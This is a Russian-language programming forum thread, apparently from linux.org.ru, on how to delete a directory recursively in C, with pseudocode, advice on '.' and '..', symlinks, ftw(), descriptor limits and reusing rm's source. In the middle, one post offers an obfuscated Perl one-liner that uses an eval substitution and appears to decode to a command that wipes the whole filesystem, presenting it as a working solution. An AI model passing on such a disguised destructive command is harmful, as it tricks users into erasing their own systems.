Рекурсивное удаление каталога

эээ... пардон, алгоритм чего именно? построения дерева :-?

// wbr

ну да
надо же сначала очистить каталог и прибить файлы

man opendir
man readdir
man 2 stat
man рекурсия

убить_каталог(каталог)
{
 открыть каталог
 по всем файлам(имена)
 {
  если каталог(имя)
   убить_каталог(имя)
  иначе
   unlink(имя)
 }
 закрыть каталог
 rmdir(каталог)
}

(define (rm-r path)
  (if (regular path)
      (rm path)
     (begin (find path rm-r)
            (rmdir path))))

Ща тебе ещё вилфред на перле сообразит наверное.
Ох уж эти сишники...

> убить_каталог(каталог)

о , похоже - оно :-)

> если (каталог(имя)) { убить_каталог(имя); } иначе { unlink(имя) }

Категорически рекомендуется сделать две вещи:

1. добавить в условие 'имя ne "." && имя ne ".."'

2. вместо реальных вызовов unlink/rmdir поставить printf("unlink(%s)")

> Категорически рекомендуется сделать две вещи:

> 1. добавить в условие 'имя ne "." && имя ne ".."'

> 2. вместо реальных вызовов unlink/rmdir поставить printf("unlink(%s)")

да, спасибо, забыл

3. еще аккуратненько нужно с символическими ссылками

Вобще еще есть такая штука как "info libc", там описывается функция ftw(), с опциями FTW_DEPTH и FTW_PHYS эта функиця даст нужный результат. Хотя иногда лучше не использовать готовые библиотечные решения...

> Ща тебе ещё вилфред на перле сообразит наверное

from http://www.linux.org.ru/view-message.jsp?msgid=392747

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

все работает.

убить_каталог(каталог)
{
открыть каталог
по всем файлам(имена)
{
если каталог(имя)
убить_каталог(имя)
иначе
unlink(имя)
}
закрыть каталог
rmdir(каталог)
}

И при развесистой иерархии файловой системы, ты нагребешь кучу открытых дескрипторов каталогов...
Вобщем, хреновая практика написания подобных вещей... не энтерпрайз.

> И при развесистой иерархии файловой системы, ты нагребешь кучу открытых дескрипторов каталогов...

да я уже вчера в этом убедился
немного не то
я пишу консольный файловый менеджер
полез в исходники мц , а там удаление вложенных каталогов делается таким хитрным способом , что легче свой вариант написать

> И при развесистой иерархии файловой системы, ты нагребешь кучу открытых дескрипторов каталогов... Вобщем, хреновая практика написания подобных вещей... не энтерпрайз.

что мешает считать сожержимое директории, закрыть её и потом обработать? IMHO каталоги с десятками или сотнями тысяч записей - это скорее редкость, чем правило.

// wbr

> И при развесистой иерархии файловой системы, ты нагребешь кучу открытых дескрипторов каталогов...

на каждом уровне вложенности только один дескриптор открывается, т.е. если у тебя 1000 вложенных друг в друга каталогов, то это плохо

man 3 glob?

Ну если уж пишется действительно что то нужное, то может проще взять исходники команды rm и скопировать соответствующие подпрограммы. Инчае зачем нужен GPL, если не копировать куски исходного текста :).

Потому что если поковыряться в исходых текстах rm, то, например, там есть такое, что lstat() вызывается дважды, до смены каталога и после (на текущий каталог), и сравниваются полученные номера инодов...

> зачем нужен GPL, если не копировать куски исходного текста

зачем нужен unix если копировать куски исходного текста вместо system("rm -rf ...")

> зачем нужен unix если копировать куски исходного текста вместо system("rm -rf ...")

Хватит учить детей анонизму

>пишу консольный файловый менеджер >rm -r не подходит

Не юниксвэй. А вы слуайно не быдлокодер, я извиняюсь?

> Не юниксвэй. А вы слуайно не быдлокодер, я извиняюсь?

как раз system("rm -rf") - путь истинного быдла

> Ну если уж пишется действительно что то нужное, то может проще взять исходники команды rm и

я так и сделал - выдрал исходники rm из пакета fileutils
работает фантастически быстро , размер вложенного каталога пофиг